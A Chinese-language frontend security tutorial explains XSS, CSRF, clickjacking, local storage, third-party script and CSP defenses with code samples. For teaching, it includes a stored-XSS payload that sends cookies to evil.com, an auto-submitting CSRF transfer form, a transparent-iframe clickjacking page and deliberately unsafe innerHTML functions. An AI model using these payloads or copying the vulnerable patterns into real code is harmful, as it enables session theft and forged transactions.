前端框架 精选推荐

前端安全防护完整指南 - XSS、CSRF 及常见攻击防御方案

HTMLPAGE 团队
14 分钟阅读

深入讲解前端安全防护策略,包括 XSS 跨站脚本攻击、CSRF 跨站请求伪造、点击劫持等常见安全威胁的原理和防御方案。提供实用的安全编码最佳实践。

#前端安全 #XSS #CSRF #安全防护

前端安全防护完整指南

概述

前端安全是 Web 应用安全的重要组成部分。随着前端应用越来越复杂,安全风险也在增加。本文将深入讲解常见的前端安全威胁及其防护方案,帮助开发者构建安全可靠的 Web 应用。

安全威胁概览

前端安全威胁分类

前端安全威胁体系

注入类攻击
├── XSS(跨站脚本攻击)
│   ├── 反射型 XSS
│   ├── 存储型 XSS
│   └── DOM 型 XSS
├── SQL 注入(前端相关)
└── 命令注入

身份与会话攻击
├── CSRF(跨站请求伪造)
├── 会话劫持
├── 会话固定
└── Cookie 窃取

客户端攻击
├── 点击劫持
├── 开放重定向
├── 第三方脚本风险
└── 本地存储泄露

传输层攻击
├── 中间人攻击
├── 协议降级
└── 证书欺骗

XSS 跨站脚本攻击

XSS 类型详解

// 1. 反射型 XSS(Reflected XSS)
// 恶意脚本通过 URL 参数注入

// 危险的 URL:
// https://example.com/search?q=<script>alert('XSS')</script>

// 不安全的代码
function unsafeReflectedXSS() {
  const params = new URLSearchParams(window.location.search)
  const query = params.get('q')
  
  // ❌ 直接插入未转义内容
  document.getElementById('result').innerHTML = `搜索结果: ${query}`
}

// 2. 存储型 XSS(Stored XSS)
// 恶意脚本被永久存储在服务器

// 用户提交的评论:
// <script>document.location='https://evil.com?c='+document.cookie</script>

// 不安全的渲染
function unsafeStoredXSS(comment) {
  // ❌ 直接渲染用户输入
  document.getElementById('comments').innerHTML += `
    <div class="comment">${comment.content}</div>
  `
}

// 3. DOM 型 XSS(DOM-based XSS)
// 完全在客户端发生,不经过服务器

function unsafeDOMXSS() {
  // ❌ 危险:直接使用 location.hash
  const hash = location.hash.substring(1)
  document.getElementById('content').innerHTML = hash
}

XSS 防御方案

// 防御方案 1:输出编码(最重要)
const escapeHTML = (str) => {
  const escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  }
  return String(str).replace(/[&<>"'/]/g, (char) => escapeMap[char])
}

// 安全的内容渲染
function safeRender(userInput) {
  const safeContent = escapeHTML(userInput)
  document.getElementById('output').innerHTML = safeContent
}

// 防御方案 2:使用 textContent 而非 innerHTML
function safeTextRender(userInput) {
  // ✅ textContent 不会解析 HTML
  document.getElementById('output').textContent = userInput
}

// 防御方案 3:使用 DOMPurify 净化 HTML
import DOMPurify from 'dompurify'

function safePurifyRender(userHTML) {
  // ✅ 移除所有危险内容
  const clean = DOMPurify.sanitize(userHTML, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  })
  document.getElementById('output').innerHTML = clean
}

// 防御方案 4:CSP(Content Security Policy)
// 在 HTTP 头中设置
const cspHeader = {
  'Content-Security-Policy': [
    "default-src 'self'",
    "script-src 'self' 'nonce-{random}'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https:",
    "connect-src 'self' https://api.example.com",
    "frame-ancestors 'none'"
  ].join('; ')
}

框架中的 XSS 防护

// Vue.js 自动转义
// Vue 模板中的 {{ }} 会自动转义
const vueExample = {
  template: `
    <!-- ✅ 自动转义,安全 -->
    <div>{{ userInput }}</div>
    
    <!-- ❌ v-html 不转义,需要手动净化 -->
    <div v-html="sanitizedHTML"></div>
  `,
  computed: {
    sanitizedHTML() {
      return DOMPurify.sanitize(this.userHTML)
    }
  }
}

// React 自动转义
function ReactExample({ userInput }) {
  return (
    <>
      {/* ✅ JSX 表达式自动转义 */}
      <div>{userInput}</div>
      
      {/* ❌ dangerouslySetInnerHTML 危险,需要净化 */}
      <div dangerouslySetInnerHTML={{ 
        __html: DOMPurify.sanitize(userHTML) 
      }} />
    </>
  )
}

CSRF 跨站请求伪造

CSRF 攻击原理

// CSRF 攻击场景示例

// 1. 用户登录银行网站 bank.com
// 2. 用户访问恶意网站 evil.com
// 3. evil.com 页面包含:

// 恶意表单(自动提交)
const maliciousForm = `
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit()</script>
`

// 恶意图片(GET 请求)
const maliciousImage = `
<img src="https://bank.com/transfer?to=attacker&amount=10000">
`

// 问题:浏览器会自动携带 bank.com 的 Cookie
// 服务器无法区分正常请求和伪造请求

CSRF 防御方案

// 防御方案 1:CSRF Token
// 服务端生成,嵌入页面,每次请求携带

// 获取 CSRF Token
function getCSRFToken() {
  // 从 meta 标签获取
  return document.querySelector('meta[name="csrf-token"]')?.content
  // 或从 Cookie 获取
  // return document.cookie.match(/csrftoken=([^;]+)/)?.[1]
}

// 请求时携带 Token
async function secureRequest(url, data) {
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': getCSRFToken()  // 携带 Token
    },
    body: JSON.stringify(data)
  })
  return response.json()
}

// 防御方案 2:SameSite Cookie
// 设置 Cookie 的 SameSite 属性
const secureCookie = {
  // Strict: 完全禁止跨站发送
  'Set-Cookie': 'sessionId=xxx; SameSite=Strict; Secure; HttpOnly',
  
  // Lax: 允许顶级导航的 GET 请求(推荐)
  'Set-Cookie': 'sessionId=xxx; SameSite=Lax; Secure; HttpOnly'
}

// 防御方案 3:验证 Referer/Origin
// 服务端验证请求来源
function validateOrigin(request) {
  const origin = request.headers.origin || request.headers.referer
  const allowedOrigins = ['https://example.com', 'https://www.example.com']
  
  if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
    throw new Error('Invalid origin')
  }
}

// 防御方案 4:双重 Cookie 验证
// Cookie 中的值必须与请求头/参数中的值匹配
async function doubleSubmitCookie(url, data) {
  const csrfToken = document.cookie.match(/csrf=([^;]+)/)?.[1]
  
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken  // 必须匹配 Cookie 中的值
    },
    credentials: 'include',
    body: JSON.stringify(data)
  })
  return response.json()
}

点击劫持防护

点击劫持原理

<!-- 攻击者页面 evil.com -->
<style>
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0;  /* 完全透明 */
    z-index: 100;
  }
  #fake-button {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
  }
</style>

<!-- 透明的目标网站 iframe -->
<iframe id="target-frame" src="https://bank.com/transfer"></iframe>

<!-- 用户看到的诱骗按钮 -->
<button id="fake-button">点击领取奖品!</button>

<!-- 用户点击"奖品"按钮时,实际点击的是银行的转账按钮 -->

点击劫持防御

// 防御方案 1:X-Frame-Options 响应头
const frameOptions = {
  // 完全禁止嵌入
  'X-Frame-Options': 'DENY',
  
  // 只允许同源嵌入
  'X-Frame-Options': 'SAMEORIGIN',
  
  // 允许特定域名(已废弃,使用 CSP)
  'X-Frame-Options': 'ALLOW-FROM https://trusted.com'
}

// 防御方案 2:CSP frame-ancestors
const cspFrameAncestors = {
  // 禁止任何嵌入
  'Content-Security-Policy': "frame-ancestors 'none'",
  
  // 只允许同源
  'Content-Security-Policy': "frame-ancestors 'self'",
  
  // 允许特定域名
  'Content-Security-Policy': "frame-ancestors 'self' https://trusted.com"
}

// 防御方案 3:JavaScript 框架破坏(Frame Busting)
// 检测是否被嵌入 iframe
if (window.top !== window.self) {
  // 尝试跳出 iframe
  window.top.location = window.self.location
}

// 更安全的检测方式
function preventFraming() {
  try {
    // 如果被嵌入且跨域,访问 top.location.href 会抛出错误
    if (window.top.location.href !== window.self.location.href) {
      window.top.location = window.self.location
    }
  } catch (e) {
    // 跨域嵌入,强制跳出
    window.top.location = window.self.location
  }
}

敏感数据保护

本地存储安全

// ❌ 不安全的存储方式
function unsafeStorage() {
  // 明文存储敏感信息
  localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...')
  localStorage.setItem('userPassword', 'user123')
}

// ✅ 安全的存储策略
const secureStorage = {
  // 1. 不存储敏感信息
  // Token 应该存储在 HttpOnly Cookie 中
  
  // 2. 如果必须使用 localStorage,加密存储
  encrypt(data, key) {
    // 使用 Web Crypto API
    return window.crypto.subtle.encrypt(
      { name: 'AES-GCM', iv: new Uint8Array(12) },
      key,
      new TextEncoder().encode(data)
    )
  },

  // 3. 存储非敏感的、可接受泄露的数据
  safeData: ['theme', 'language', 'lastVisitedPage'],

  // 4. 设置合理的过期时间
  setWithExpiry(key, value, ttl) {
    const item = {
      value: value,
      expiry: Date.now() + ttl
    }
    localStorage.setItem(key, JSON.stringify(item))
  },

  getWithExpiry(key) {
    const itemStr = localStorage.getItem(key)
    if (!itemStr) return null

    const item = JSON.parse(itemStr)
    if (Date.now() > item.expiry) {
      localStorage.removeItem(key)
      return null
    }
    return item.value
  }
}

// 清理敏感数据
function clearSensitiveData() {
  // 退出登录时清理
  localStorage.clear()
  sessionStorage.clear()
  
  // 清理特定 Cookie
  document.cookie.split(';').forEach(cookie => {
    const name = cookie.split('=')[0].trim()
    document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`
  })
}

密码安全

// 前端密码处理最佳实践
const passwordSecurity = {
  // 1. 永远不要明文传输密码
  // 使用 HTTPS
  
  // 2. 前端哈希(可选,主要依赖后端)
  async hashPassword(password) {
    const encoder = new TextEncoder()
    const data = encoder.encode(password)
    const hashBuffer = await crypto.subtle.digest('SHA-256', data)
    return Array.from(new Uint8Array(hashBuffer))
      .map(b => b.toString(16).padStart(2, '0'))
      .join('')
  },

  // 3. 密码强度检查
  checkStrength(password) {
    const checks = {
      length: password.length >= 8,
      lowercase: /[a-z]/.test(password),
      uppercase: /[A-Z]/.test(password),
      numbers: /[0-9]/.test(password),
      special: /[!@#$%^&*(),.?":{}|<>]/.test(password)
    }
    
    const score = Object.values(checks).filter(Boolean).length
    
    return {
      score,
      checks,
      strength: score < 3 ? 'weak' : score < 5 ? 'medium' : 'strong'
    }
  },

  // 4. 防止密码泄露到日志
  sanitizeForLogging(data) {
    const sensitiveFields = ['password', 'token', 'secret', 'key']
    const sanitized = { ...data }
    
    sensitiveFields.forEach(field => {
      if (field in sanitized) {
        sanitized[field] = '[REDACTED]'
      }
    })
    
    return sanitized
  }
}

第三方脚本安全

第三方脚本风险

// 第三方脚本可能的风险
const thirdPartyRisks = {
  // 1. 数据窃取
  dataTheft: '访问 DOM、Cookie、localStorage',
  
  // 2. 恶意行为
  maliciousActions: '修改页面内容、重定向用户',
  
  // 3. 性能影响
  performance: '阻塞渲染、占用资源',
  
  // 4. 供应链攻击
  supplyChain: '脚本被入侵后注入恶意代码'
}

第三方脚本防护

// 防护方案 1:Subresource Integrity (SRI)
// 验证脚本内容完整性
const sriExample = `
<script 
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>
`

// 防护方案 2:CSP 限制
const cspForThirdParty = {
  'Content-Security-Policy': [
    "script-src 'self' https://trusted-cdn.com",
    "connect-src 'self' https://api.trusted.com"
  ].join('; ')
}

// 防护方案 3:沙箱化第三方脚本
function sandboxThirdParty() {
  // 使用 iframe 隔离
  const sandbox = document.createElement('iframe')
  sandbox.sandbox = 'allow-scripts'  // 限制权限
  sandbox.src = 'about:blank'
  document.body.appendChild(sandbox)
  
  // 在 iframe 中加载脚本
  sandbox.contentDocument.write(`
    <script src="https://third-party.com/script.js"></script>
  `)
}

// 防护方案 4:监控第三方脚本行为
const scriptMonitor = {
  // 记录所有外部请求
  init() {
    const originalFetch = window.fetch
    window.fetch = function(...args) {
      console.log('Fetch request:', args[0])
      // 可以在这里进行拦截或上报
      return originalFetch.apply(this, args)
    }

    const originalXHR = XMLHttpRequest.prototype.open
    XMLHttpRequest.prototype.open = function(method, url) {
      console.log('XHR request:', url)
      return originalXHR.apply(this, arguments)
    }
  }
}

Content Security Policy (CSP)

CSP 配置详解

// 完整的 CSP 配置示例
const cspPolicy = {
  // 默认策略
  "default-src": ["'self'"],
  
  // 脚本来源
  "script-src": [
    "'self'",
    "'nonce-{random}'",  // 内联脚本需要 nonce
    "https://trusted-cdn.com"
  ],
  
  // 样式来源
  "style-src": [
    "'self'",
    "'unsafe-inline'",  // 允许内联样式(谨慎使用)
    "https://fonts.googleapis.com"
  ],
  
  // 图片来源
  "img-src": [
    "'self'",
    "data:",
    "https:"
  ],
  
  // 字体来源
  "font-src": [
    "'self'",
    "https://fonts.gstatic.com"
  ],
  
  // API 请求
  "connect-src": [
    "'self'",
    "https://api.example.com",
    "wss://websocket.example.com"
  ],
  
  // iframe 嵌入
  "frame-src": ["'none'"],
  
  // 被嵌入
  "frame-ancestors": ["'none'"],
  
  // 表单提交
  "form-action": ["'self'"],
  
  // 升级不安全请求
  "upgrade-insecure-requests": true,
  
  // 报告违规
  "report-uri": "/csp-report"
}

// 生成 CSP 头
function generateCSPHeader(policy) {
  return Object.entries(policy)
    .map(([key, values]) => {
      if (typeof values === 'boolean') {
        return values ? key : ''
      }
      return `${key} ${values.join(' ')}`
    })
    .filter(Boolean)
    .join('; ')
}

CSP 报告与监控

// 接收 CSP 违规报告
// server/api/csp-report.ts
export default defineEventHandler(async (event) => {
  const body = await readBody(event)
  
  // 记录违规报告
  console.log('CSP Violation:', body['csp-report'])
  
  // 可以发送到监控系统
  await sendToMonitoring({
    type: 'csp-violation',
    details: body['csp-report'],
    timestamp: Date.now()
  })

  return { received: true }
})

// 使用 Report-Only 模式测试
const cspReportOnly = {
  'Content-Security-Policy-Report-Only': `
    default-src 'self';
    script-src 'self';
    report-uri /csp-report
  `
}

安全编码最佳实践

输入验证

// 前端输入验证(防御层之一,不能替代后端验证)
const inputValidation = {
  // 邮箱验证
  isValidEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/
    return emailRegex.test(email)
  },

  // URL 验证(防止 javascript: 协议)
  isValidURL(url) {
    try {
      const parsed = new URL(url)
      return ['http:', 'https:'].includes(parsed.protocol)
    } catch {
      return false
    }
  },

  // 安全的重定向
  safeRedirect(url) {
    // 只允许同源或白名单域名
    const allowedDomains = ['example.com', 'trusted.com']
    
    try {
      const parsed = new URL(url, window.location.origin)
      
      // 检查是否同源
      if (parsed.origin === window.location.origin) {
        return url
      }
      
      // 检查是否在白名单
      if (allowedDomains.some(d => parsed.hostname.endsWith(d))) {
        return url
      }
      
      // 不安全的 URL,返回首页
      return '/'
    } catch {
      return '/'
    }
  },

  // 清理文件名(防止路径遍历)
  sanitizeFileName(name) {
    return name
      .replace(/\.\./g, '')  // 移除路径遍历
      .replace(/[/\\]/g, '') // 移除路径分隔符
      .replace(/[<>:"|?*]/g, '') // 移除非法字符
  }
}

安全的 API 调用

// 安全的 API 调用封装
class SecureAPI {
  constructor(baseURL) {
    this.baseURL = baseURL
  }

  async request(endpoint, options = {}) {
    const url = new URL(endpoint, this.baseURL)
    
    // 确保使用 HTTPS
    if (url.protocol !== 'https:' && !url.hostname.includes('localhost')) {
      throw new Error('Only HTTPS is allowed')
    }

    const defaultOptions = {
      credentials: 'same-origin',  // 或 'include' 用于跨域
      headers: {
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest'  // 标识 AJAX 请求
      }
    }

    // 添加 CSRF Token
    const csrfToken = this.getCSRFToken()
    if (csrfToken) {
      defaultOptions.headers['X-CSRF-Token'] = csrfToken
    }

    const response = await fetch(url.toString(), {
      ...defaultOptions,
      ...options,
      headers: {
        ...defaultOptions.headers,
        ...options.headers
      }
    })

    // 检查响应
    if (!response.ok) {
      const error = await response.json().catch(() => ({}))
      throw new Error(error.message || `HTTP ${response.status}`)
    }

    return response.json()
  }

  getCSRFToken() {
    return document.querySelector('meta[name="csrf-token"]')?.content
  }

  // 安全的 GET 请求
  async get(endpoint, params = {}) {
    const url = new URL(endpoint, this.baseURL)
    Object.entries(params).forEach(([key, value]) => {
      url.searchParams.append(key, value)
    })
    return this.request(url.toString())
  }

  // 安全的 POST 请求
  async post(endpoint, data) {
    return this.request(endpoint, {
      method: 'POST',
      body: JSON.stringify(data)
    })
  }
}

安全检查清单

开发阶段

// 安全检查清单
const securityChecklist = {
  xss: [
    '所有用户输入都经过转义或净化',
    '使用 textContent 而非 innerHTML',
    '如需渲染 HTML,使用 DOMPurify',
    '实施了 CSP 策略',
    '框架的自动转义功能已启用'
  ],

  csrf: [
    '所有状态修改请求都携带 CSRF Token',
    'Cookie 设置了 SameSite 属性',
    '验证了请求的 Origin/Referer'
  ],

  authentication: [
    'Token 存储在 HttpOnly Cookie 中',
    '实施了合理的会话超时',
    '敏感操作需要重新验证'
  ],

  dataProtection: [
    'localStorage 中没有敏感数据',
    '密码从不明文存储或日志记录',
    '使用 HTTPS 传输所有数据'
  ],

  thirdParty: [
    '第三方脚本使用了 SRI',
    '限制了第三方脚本权限',
    '定期审计第三方依赖'
  ]
}

常见问题解答

Q: 前端验证能否替代后端验证? A: 不能。前端验证只是用户体验优化和第一道防线,所有安全验证必须在后端重复进行,因为前端代码可以被绑过。

Q: JWT 应该存储在哪里? A: 最安全的方式是存储在 HttpOnly Cookie 中(防止 XSS 窃取),配合 CSRF Token 防止 CSRF 攻击。localStorage 容易被 XSS 攻击窃取。

Q: 如何安全地处理用户上传的文件? A: 前端只做格式和大小校验,真正的安全检查(类型验证、病毒扫描、内容检测)必须在后端进行。永远不要信任客户端的 MIME 类型声明。

Q: CSP 会影响性能吗? A: CSP 本身开销很小。但如果配置过于严格导致需要频繁调整,可能影响开发效率。建议先用 Report-Only 模式测试。

总结

前端安全是一个多层防御的过程:

  1. XSS 防护 - 输出编码、CSP、使用安全 API
  2. CSRF 防护 - Token、SameSite Cookie、Origin 验证
  3. 点击劫持防护 - X-Frame-Options、CSP frame-ancestors
  4. 数据保护 - 安全存储、HTTPS、敏感数据处理
  5. 第三方安全 - SRI、沙箱化、监控

记住:安全是持续的过程,需要定期审计和更新。

参考资源